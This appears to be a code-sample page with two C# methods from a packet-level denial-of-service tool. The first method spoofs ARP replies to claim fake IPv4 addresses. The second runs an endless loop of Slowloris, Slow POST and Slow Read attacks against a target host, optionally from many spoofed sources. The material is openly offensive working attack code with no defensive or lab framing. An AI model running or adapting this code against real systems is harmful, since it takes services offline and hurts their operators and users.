Beispiel #1
0
        private void ArpSpoofAddress(int count, DosSender tester)
        {
            CreateFakeAddresses(count);

            using (Communicator = SelectedDevice.Open(65536, PacketDeviceOpenAttributes.Promiscuous, 100))
            {
                Communicator.SetFilter("arp and src " + DestinationIpV4);
                foreach (var fakeIpV4Address in FakeIpV4Addresses)
                {
                    for (int i = 0; i < 5; i++)
                    {
                        tester.PingAddress(Communicator, fakeIpV4Address);

                        if (Communicator.ReceivePacket(out var packet) == PacketCommunicatorReceiveResult.Ok && packet.Ethernet.Source == tester.DestinationMac)
                        {
                            break;
                        }
                        Thread.Sleep(100);
                    }
                    tester.SendArpResponse(Communicator, fakeIpV4Address);
                }
            }
        }
Beispiel #2
0
        public void StartSenders()
        {
            DestinationMac = GetMacFromIp(DestinationIpV4);
            SourceMac      = new MacAddress(Regex.Replace(
                                                NetworkInterface.GetAllNetworkInterfaces()
                                                .FirstOrDefault(netInt => SelectedDevice.Name.Contains(netInt.Id))
                                                ?.GetPhysicalAddress().ToString() ?? throw new InvalidOperationException(),
                                                ".{2}", "$0:").TrimEnd(':'));

            if (Ddos)
            {
                var tester = new DosSender(SourceIpv4, DestinationIpV4, DestinationMac, SourceMac, HostAddress,
                                           SlowLorisKeepAliveData, SlowLorisHeader, SlowPostContentLength, SlowPostHeader,
                                           SlowReadUrl, SourcePort, PortStep);
                ArpSpoofAddress(DdosCount, tester);
            }

            DosSenders = new ConcurrentBag <DosSender>();

            for (int i = 0; i < SenderSize; i++)
            {
                DosSenders.Add(new DosSender(SourceIpv4, DestinationIpV4, DestinationMac, SourceMac, HostAddress,
                                             SlowLorisKeepAliveData, SlowLorisHeader, SlowPostContentLength, SlowPostHeader, SlowReadUrl,
                                             SourcePort, PortStep, Ddos));
            }

            if (_attackMode == Attacks.SlowRead)
            {
                foreach (var dosSender in DosSenders)
                {
                    dosSender.WindowSize = (ushort)SlowReadWindowSize;
                }
            }

            //<For logging>

            //Random rand = new Random();
            //var path = $@"C:\Users\Mystify_PC\source\repos\WpfApp2\test{rand.Next()}.txt";
            //var a = File.Create(path);
            //a.Close();

            //</>
            var watcher = new Thread(SearchForPackets);

            watcher.Start();
            using (Communicator = SelectedDevice.Open(65536, PacketDeviceOpenAttributes.Promiscuous, 100))
            {
                while (true)
                {
                    //var logs = "";
                    foreach (var dosSender in DosSenders)
                    {
                        switch (dosSender.Status)
                        {
                        case SenderStat.SendSyn:
                            dosSender.SendSyn(Communicator);
                            dosSender.Status = SenderStat.WaitingForAck;
                            //logs += $"{Environment.NewLine}{dosSender.SourcePort} -- {DateTime.UtcNow.ToString("mm:ss.fff", CultureInfo.InvariantCulture)}-- SendingSyn";
                            break;

                        case SenderStat.RecievingSlowRead:
                            if (dosSender.Waited > 7)
                            {
                                dosSender.Status    = SenderStat.SendSyn;
                                dosSender.SeqNumber = (uint)new Random().Next();
                            }

                            dosSender.Waited++;
                            break;

                        case SenderStat.WaitingForAck:
                            if (dosSender.Waited > 4)
                            {
                                dosSender.Status    = SenderStat.SendSyn;
                                dosSender.SeqNumber = (uint)new Random().Next();
                            }
                            dosSender.Waited++;
                            break;

                        //SLOWLORIS
                        case SenderStat.SendingAck when _attackMode == Attacks.SlowLoris:
                            dosSender.SendAck(Communicator);
                            dosSender.Status = SenderStat.SendingSlowLorisGetHeader;
                            //logs += $"{Environment.NewLine}{dosSender.SourcePort} -- {DateTime.UtcNow.ToString("mm:ss.fff", CultureInfo.InvariantCulture)} -- SendingLorisHeader";
                            break;

                        //SLOW-POST
                        case SenderStat.SendingAck when _attackMode == Attacks.SlowPost:
                            dosSender.SendAck(Communicator);
                            dosSender.Status = SenderStat.SedingSlowPostHeader;
                            //logs += $"{Environment.NewLine}{dosSender.SourcePort} -- {DateTime.UtcNow.ToString("mm:ss.fff", CultureInfo.InvariantCulture)} -- SlowPostHeader";

                            break;

                        //SLOW-READ
                        case SenderStat.SendingAck when _attackMode == Attacks.SlowRead:
                            dosSender.SendAck(Communicator);
                            dosSender.Status = SenderStat.SedingGetForSlowRead;

                            //logs += $"{Environment.NewLine}{dosSender.SourcePort} -- {DateTime.UtcNow.ToString("mm:ss.fff", CultureInfo.InvariantCulture)} -- SlowReadGet";
                            break;

                        //SLOWLORIS
                        case SenderStat.SendingSlowLorisGetHeader:
                            dosSender.SendSlowlorisNotCompleteGet(Communicator);
                            dosSender.Status = SenderStat.SendingKeepAliveForSlowLoris;

                            //logs += $"{Environment.NewLine}{dosSender.SourcePort} -- {DateTime.UtcNow.ToString("mm:ss.fff", CultureInfo.InvariantCulture)} -- SlowlorisGetHeader";
                            break;

                        //SLOWLORIS
                        case SenderStat.SendingKeepAliveForSlowLoris:
                            dosSender.SendSlowLorisKeepAlive(Communicator);

                            //logs += $"{Environment.NewLine}{dosSender.SourcePort} -- {DateTime.UtcNow.ToString("mm:ss.fff", CultureInfo.InvariantCulture)} -- SlowlorisKeepAlive";
                            break;

                        //SLOW-POST
                        case SenderStat.SedingSlowPostHeader:
                            dosSender.SendSlowPostHeader(Communicator);
                            dosSender.Status = SenderStat.SedingKeepAliveForSlowPost;

                            //logs += $"{Environment.NewLine}{dosSender.SourcePort} -- {DateTime.UtcNow.ToString("mm:ss.fff", CultureInfo.InvariantCulture)} -- SlowPostHeader";
                            break;

                        //SLOW-POST
                        case SenderStat.SedingKeepAliveForSlowPost:
                            dosSender.SendSlowPostKeepAlive(Communicator);

                            //logs += $"{Environment.NewLine}{dosSender.SourcePort} -- {DateTime.UtcNow.ToString("mm:ss.fff", CultureInfo.InvariantCulture)} -- SlowPostKeepAlive";
                            break;

                        //SLOW-READ
                        case SenderStat.SedingGetForSlowRead:
                            dosSender.WindowSize = (ushort)SlowReadWindowSize;
                            dosSender.SendSlowReadCompleteGet(Communicator);
                            dosSender.Status = SenderStat.RecievingSlowRead;
                            //logs += $"{Environment.NewLine}{dosSender.SourcePort} -- {DateTime.UtcNow.ToString("mm:ss.fff", CultureInfo.InvariantCulture)} -- SlowReadGet";
                            break;

                        //SLOW-READ
                        case SenderStat.SendKeepAliveAckForSlowRead:
                            dosSender.Status = SenderStat.RecievingSlowRead;
                            dosSender.SendAck(Communicator);

                            //logs += $"{Environment.NewLine}{dosSender.SourcePort} -- {DateTime.UtcNow.ToString("mm:ss.fff", CultureInfo.InvariantCulture)} -- SlowReadKeepAlive";
                            break;

                        default:
                            throw new ArgumentOutOfRangeException();
                        }
                        Thread.Sleep(SenderTimeOut);
                    }
                    Thread.Sleep(SenderWaveTimeOut);
                    //using (StreamWriter sw = File.AppendText(path))
                    //{
                    //    sw.Write(logs);
                    //}
                }
            }
        }